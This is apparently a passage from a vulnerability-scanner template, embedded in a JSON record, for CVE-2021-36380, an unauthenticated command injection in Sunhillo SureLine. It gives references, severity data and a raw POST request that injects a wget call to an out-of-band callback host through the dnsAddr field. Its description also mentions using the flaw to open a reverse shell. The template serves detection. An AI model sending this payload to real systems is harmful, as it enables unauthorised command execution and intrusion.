The /cgi/networkDiag.cgi script directly incorporated user-controllable parameters within a shell command, allowing an attacker to manipulate the resulting command by injecting valid OS command input. The following POST request injects a new command that instructs the server to establish a reverse TCP connection to another system, allowing the establishment of an interactive remote shell session.\n  impact: |\n    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.\n  remediation: |\n    Upgrade to Sunhillo SureLine version 8.7.0.1.1 or later to mitigate this vulnerability.\n  reference:\n    - https://research.nccgroup.com/2021/07/26/technical-advisory-sunhillo-sureline-unauthenticated-os-command-injection-cve-2021-36380/\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-36380\n    - https://www.sunhillo.com/product/sureline/\n    - https://github.com/Ostorlab/KEV\n    - https://github.com/fkie-cad/nvd-json-data-feeds\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-36380\n    cwe-id: CWE-78\n    epss-score: 0.97647\n    epss-percentile: 0.999\n    cpe: cpe:2.3:a:sunhillo:sureline:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: sunhillo\n    product: sureline\n  tags: cve2021,cve,sureline,rce,oast,sunhillo,kev,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /cgi/networkDiag.cgi HTTP/1.1\n        Host: {{Hostname}}\n\n        command=2&ipAddr=&dnsAddr=$(wget+http://{{interactsh-url}})&interface=0&netType=0&scrFilter=&dstFilter=&fileSave=false&pcapSave=false&fileSize=\n\n    matchers:\n      - type: word\n        part: interactsh_protocol # Confirms the HTTP Interaction\n        words:\n          - \"http\"\n# digest: 4a0a0047304502201763d90a26e2163eb06ced3eb38f5e00f8c81d2e969af73b3cc3dc938482cb97022100b78d81e48677dc0cf02b91f3e100d98584d96e6787a0cda6d947e0f93dbf2ea9:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2021-36380"}
